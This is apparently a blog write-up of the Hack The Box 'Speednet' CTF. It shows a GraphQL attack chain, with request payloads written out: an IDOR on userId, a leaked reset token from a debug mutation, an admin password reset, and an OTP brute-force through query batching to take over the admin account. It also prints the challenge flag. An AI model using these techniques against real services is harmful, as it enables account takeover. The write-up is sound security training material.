TeTo

TeTo's blog



Speednet — HTB Bug Bounty CTF


TeTo's avatar
2 mins

Overview

Speednet is an Internet Service Provider platform that enables users to purchase internet services. We invite you to participate in our bug bounty program to identify any potential vulnerabilities within the application and retrieve the flag hidden on the site.

For your testing, we have provided additional email services. Please find the details below:

  
Email Site: `http://IP:PORT/emails/`
Email Address: test@email.htb
 

Good luck, and thank you for your participation!

screenshot of the target homepage or the test webmail (soon).


TL;DR

  • GraphQL endpoint with introspection enabled.
  • Admin data exposed by modifying userId (IDOR in GraphQL).
  • Discovery of a debug mutation devForgotPassword returning the reset token directly.
  • Admin password reset using the obtained token.
  • Admin login protected by a 4-digit OTP; exploited GraphQL batching to brute-force and obtain admin JWT.
  • Disabled 2FA via updateProfile and gained full access. Flag retrieved in the Billing section.

Analysis

After registering with test@email.htb , I began analyzing the traffic and observed that the application uses GraphQL at /graphql .

Example request to fetch the profile (I was userId: 2 ):

  
{
   "query": 
      "query GetUserProfile($userId: Int!) { 
          userProfile(userId: $userId) { 
            id 
            email 
            firstName 
            lastName 
            address 
            phoneNumber 
            twoFactorAuthEnabled 
          }
        }",
   "variables": {
      "userId": 2
   }
}

 

Changing userId to 1 returned the profile of admin@speednet.htb .

Conclusion: the resolver does not validate the userId parameter, exposing a logical IDOR.

screenshot of the request and response showing admin email (soon).

I then performed a GraphQL introspection to map all queries and mutations.


Exploitation

1) Introspection

I performed full introspection using inQL + Burp to obtain all types, queries, and mutations. This was key to identify debug functionalities.

  
query IntrospectionQuery {
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}
 

introspection output highlighting devForgotPassword (soon).

2) devForgotPassword — Retrieving Reset Token

Calling the devForgotPassword mutation with my email returned the reset token directly:

  
POST /graphql HTTP/1.1
Content-Type: application/json

{
  "query": "mutation devForgotPassword($email: String!) {
              devForgotPassword(email: $email)  
            }",
  "variables": { 
    "email": "test@email.htb" 
  }
}
 

Sample response:

  
{
  "data": {
    "devForgotPassword": "Dev only! Password reset token: 305c6179-d1f5-452d-9683-ef91efd79561"
  }
}
 

Impact: the mutation returns the token without verifying mailbox ownership, exposing a critical development function.

raw request and response of devForgotPassword (soon).

3) Admin Password Reset

The application provides a reset link like:

  
http://IP:PORT/reset-password?token={TOKEN}
 

Using the token, I accessed the link and set a new password for the admin account.

screenshot of the test mailbox showing the reset link and the reset form (soon).

4) OTP (2FA) and GraphQL Batching

After the password reset, admin login required an OTP sent via email. Without access to the admin mailbox, I analyzed the OTP flow with the test account and discovered it was 4 digits.

To bypass the admin mailbox limitation, I exploited GraphQL batching, allowing multiple operations per request and testing multiple OTPs simultaneously. The server accepted ~750 operations per batch, covering 0000–9999 in a few batches.

Simplified batch request example:

  
[
  {
    "id": "op1",
    "query": "mutation VerifyOtp($token: String!, $otp: String!) {  
                verifyOtp(token: $token, otp: $otp) {
                  token
                  user { 
                    id  
                    email
                  }
                }
              }",
    "variables": {"token": "<TOKEN_2FA>", "otp": "0000"}
  },
  {
    "id": "op2",
    "query": "mutation VerifyOtp($token: String!, $otp: String!) {
                verifyOtp(token: $token, otp: $otp) {
                  token       
                  user { 
                    id 
                    email 
                  }
                }
              }",
    "variables": {"token": "<TOKEN_2FA>", "otp": "0001"}
  }
]
 

One batch response returned a valid JWT for the admin:

  
{
  "op4773": {
    "token": "<JWT_ADMIN>",
    "user": {
      "id": 1,
      "email": "admin@speednet.htb"
    }
  }
}
 

JSON of batch request and response highlighting op4773 (soon).

5) Disabling 2FA and Final Access

Using the admin JWT, I executed the updateProfile mutation to set twoFactorAuthEnabled to false :

  
mutation UpdateProfile($input: ProfileInput!) {
  updateProfile(input: $input) {
    email
    firstName
    lastName
    address
    phoneNumber
    twoFactorAuthEnabled
  }
}
 

Example variables:

  
{
  "input": {
    "firstName": "Arnold",
    "lastName": "Robin",
    "phoneNumber": "08718881012211",
    "address": "West Land 123",
    "twoFactorAuthEnabled": false
  }
}
 

After updating, I logged in as admin and retrieved the flag in the Billing section:

  
HTB{gr4phql_3xpl01t_1n_a_nutsh3ll_46a25713ddf23f712dfbe788f0ca2423}
 

screenshots of updateProfile request, response (soon), and Billing page showing the flag (soon)


Lessons Learned

  • GraphQL is powerful but risky: undocumented endpoints and debug mutations can expose sensitive functionality.
  • IDOR in GraphQL: resolvers that do not validate parameters ( userId ) can expose other users’ data.
  • Low-entropy 2FA/OTP + batching: allows brute-force attacks even without rate limits.
  • Dev/prod separation: debug mutations like devForgotPassword should never be accessible in production.